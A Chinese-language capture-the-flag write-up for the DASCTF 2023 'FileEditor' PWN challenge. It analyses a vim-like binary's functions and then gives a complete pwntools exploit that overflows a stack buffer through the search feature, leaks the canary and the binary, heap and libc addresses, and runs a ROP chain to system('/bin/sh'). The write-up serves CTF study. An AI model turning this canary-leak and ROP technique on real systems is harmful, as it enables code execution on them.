DASCTF 2023 & 0X401七月暑期挑战赛【PWN】(FileEditor篇)
题目保护情况(保护全家桶)
64位ida逆向
模拟了一个类似vim的功能,有打开文件,打印内容,插入行,删除行,复制行,和编辑行,还有查找字符和替换字符的功能,然后就是保存退出
一个一个来分析吧
1.open
就是打开一个file文件。没有会创建
2.show
(没有什么特别的,打印内容)
3.插入行
输入n,m,和内容,在n行前面插入m行
4.删除行
还是输入n和m,功能是在起始行m后删除n行
5.复制行
功能是复制自k行后面的m行数据给起始于n行之后的数据
6.编辑行
输入编辑的行,然后输入内容
7.查找字符
会把我们的内容先放到src上,src有0x70大小
8.替换字符
同样也是
9.保存退出
0.退出编辑
分析:可以通过查找字符或者替换字符的功能,把输入文件的内容放到栈上,输入0x68+1个字节覆盖canary末尾,然后打印的时候会顺带打印出canary,同样用这个手法,泄露出libc地址和堆地址,也可以不需要直接用libc里面的binsh字符串,最后通过编辑把ropchain写入栈上,然后查找时通过溢出劫持程序流来获取shell。
exp:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = process('./FileEditor')
#io = remote('node5.buuoj.cn',27825)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def open():
io.sendlineafter('> choose:','1')
def instert(n,m,msg):
io.sendlineafter('> choose:','3')
io.sendlineafter('> To insert m lines before line n, please enter n m:',n)
io.sendline(m)
io.sendafter('> Please enter the content to be inserted in sequence:',msg)
def show():
io.sendlineafter('> choose:','2')
def edit(num,msg):
io.sendlineafter('> choose:','6')
io.sendlineafter('> Please enter the line number to be modified:',num)
io.sendafter('> Please enter the new content:',msg)
def find(string):
io.sendlineafter('> choose:','7')
io.sendlineafter('> Please enter the string to search for:',string)
io.sendlineafter('> Do you want to continue searching? (y/n)','n')
#gdb.attach(io)
open()
payload = 'b'+'a'*(0x68-1)
#gdb.attach(io)
instert('1','1',payload)
io.send('\n')
find('b')
edit('1',payload)
io.send('\n')
show()
io.recvuntil('a'*103)
canary = u64(io.recv(8))-0xa
success('canary---->'+hex(canary))
payload = b'b'+b'a'*(0x68-1) + p64(canary+ord('a')) + b'c'*8
edit('1',payload)
io.send('\n')
#gdb.attach(io)
sleep(0.5)
show()
io.recvuntil('c'*8)
elf_base = u64(io.recv(6).ljust(8,b'\x00')) - (0x59640d98850a -0x59640d987000)
success('elf_base----->'+hex(elf_base))
payload = payload = b'b'+b'a'*(0x68-1) + p64(canary+ord('a')) + b'c'*24 + b'd'*8
edit('1',payload)
io.send('\n')
sleep(0.5)
show()
io.recvuntil('d'*8)
heap = u64(io.recv(6).ljust(8,b'\x00')) -(0x5ab985b9d2a0 - 0x5ab985b9d000) + 0x96
success('heap----->'+hex(heap))
payload = b'b'+b'a'*(0x68-1) + p64(canary+ord('a')) + b'c'*48 + b'd'*8
edit('1',payload)
io.send('\n')
sleep(0.5)
#gdb.attach(io)
show()
io.recvuntil('d'*8)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - (0x796487e29d90 - 0x796487e28000) + 0x86 -0x28000
success('libc_base---->'+hex(libc_base))
pause()
pop_rdi = elf_base + 0x0000000000002ac3 #: pop rdi ; ret
pop_rsi = elf_base + 0x0000000000002ac1 #: pop rsi ; pop r15 ; ret
ret = elf_base + 0x000000000000101a #: ret
system = libc_base + libc.sym['system']# -0x28000
binsh = libc_base + next(libc.search('/bin/sh\0'))
#payload = b'b'+b'a'*(0x68-1) + p64(canary) + b'/bin/sh\x00' + p64(ret)
#payload += p64(pop_rdi) + p64(heap + 0x15e4) + p64(system)
payload = b'b'+b'a'*(0x68-1) + p64(canary) + p64(0xdeadbeef) + p64(ret) +p64(pop_rdi) + p64(binsh) + p64(system)
#gdb.attach(io)
edit('1',payload)
io.send('\n')
sleep(0.5)
#gdb.attach(io)
find('b')
io.interactive()